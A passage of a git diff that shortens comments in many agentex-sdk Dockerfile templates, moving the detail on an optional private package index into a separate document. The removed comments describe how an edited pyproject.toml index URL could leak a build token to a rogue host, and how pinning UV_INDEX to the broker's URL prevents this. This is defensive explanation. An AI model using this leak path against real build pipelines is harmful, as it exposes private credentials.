UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 index 73edfe479..0a416aa38 100644 --- a/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-openai-agents/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default-pydantic-ai/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/default/Dockerfile.j2 b/src/agentex/lib/cli/templates/default/Dockerfile.j2 index 7c6d72ed9..7f148e274 100644 --- a/src/agentex/lib/cli/templates/default/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/default/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 index 16fcfa13a..8a22d0f89 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 index 380262f6d..cd0338d18 100644 --- a/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-claude-code/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 index 8b6adeab3..b3c03c988 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile-uv.j2 @@ -34,31 +34,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 index 6a6212d3f..79293756d 100644 --- a/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-codex/Dockerfile.j2 @@ -33,15 +33,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-langgraph/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents-local-sandbox/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-openai-agents/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present, so local +# builds, CI builds, and agents that never opt in are unaffected. # -# To opt in, add this to the agent's pyproject.toml. The index name must be exactly -# `scale-pypi`, because that is what binds the credentials exported below; rename it -# and they silently stop applying. Exporting UV_INDEX_URL instead does not -# authenticate a named index at all, and the resolve 401s. -# -# [[tool.uv.index]] -# name = "scale-pypi" -# url = "" -# default = true -# -# UV_INDEX re-binds that name to the URL the BROKER supplied, overriding whatever URL -# the project declared for it. Without this the credential follows the name wherever -# pyproject.toml points it: uv sends the token to any host declared under the name -# `scale-pypi`, so a one-line edit to a project file — far less conspicuous in review -# than a change to this Dockerfile — would exfiltrate it. Verified both ways against a -# local server: without UV_INDEX the rogue host receives `Basic aws:`; with it -# the rogue host is never contacted. The URL carries no userinfo; the token travels -# only in UV_INDEX_SCALE_PYPI_PASSWORD. -# -# The token is percent-decoded on the way out: the buildspec URL-encodes it into the -# pip config's URL userinfo, so a token containing + / = arrives as %2B %2F %3D. +# To opt in, and for why UV_INDEX is pinned to the broker's URL rather than trusting +# the project's, see PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. RUN --mount=type=cache,target=/root/.cache/uv \ --mount=type=secret,id=codeartifact-pip-conf,required=false \ if [ -s /run/secrets/codeartifact-pip-conf ]; then \ diff --git a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 index acc44b89c..d0c204e47 100644 --- a/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 +++ b/src/agentex/lib/cli/templates/sync-pydantic-ai/Dockerfile.j2 @@ -29,15 +29,12 @@ COPY {{ project_path_from_build_root }}/requirements.txt /app/{{ project_path_fr WORKDIR /app/{{ project_path_from_build_root }} -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker injects the -# secret, so local builds, CI builds, and agents that never opt in are unaffected. +# Optional private index for Scale-internal packages such as sgp-obs, injected by the +# control-plane broker (SGPINF-1568). Inert unless the secret is present. # -# This template installs from requirements.txt, so no pyproject.toml is present for -# uv to read a named index out of — unlike Dockerfile-uv.j2, which uses the named -# `scale-pypi` index. The credentialed URL is taken straight from the injected pip -# config instead. That is also why nothing is percent-decoded here: the token stays -# inside the URL, already encoded for exactly that use. +# This variant installs from requirements.txt, so there is no pyproject.toml for uv to +# read a named index out of; the credentialed URL is used directly and is deliberately +# NOT decoded. See PRIVATE_INDEX.md in the agentex-sdk CLI templates directory. # # Install the required Python packages RUN --mount=type=secret,id=codeartifact-pip-conf,required=false \ diff --git a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 index 541438ed9..9b4f8d25b 100644 --- a/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 +++ b/src/agentex/lib/cli/templates/sync/Dockerfile-uv.j2 @@ -30,31 +30,12 @@ WORKDIR /app/{{ project_path_from_build_root }} COPY {{ project_path_from_build_root }}/pyproject.toml ./ # Install dependencies (without project itself, for layer caching) -# Optional private index for `agentex-sdk[obs]` and other Scale-internal packages -# (TEAM-RUNBOOK / SGPINF-1568). Inert unless the control-plane broker 